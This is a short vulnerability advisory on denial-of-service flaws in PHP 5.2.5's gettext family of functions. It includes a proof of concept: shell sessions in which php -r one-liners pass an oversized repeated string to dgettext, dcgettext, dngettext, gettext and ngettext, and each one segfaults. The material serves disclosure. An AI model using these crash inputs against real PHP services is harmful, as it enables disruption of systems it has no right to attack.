source: http://www.securityfocus.com/bid/26428/info

PHP is prone to multiple denial-of-service vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Attackers can exploit these issues to cause denial-of-service conditions. Given the nature of these issues, attackers may also be able to execute arbitrary code, but this has not been confirmed.

PHP 5.2.5 is vulnerable; other versions may also be affected. 

Proof of concept example :

root@unsafebox:/# uname -a
Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 
i686 GNU/Linux

root@unsafebox:/# php -v
PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 
'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 
'dngettext("hi",str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 
'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)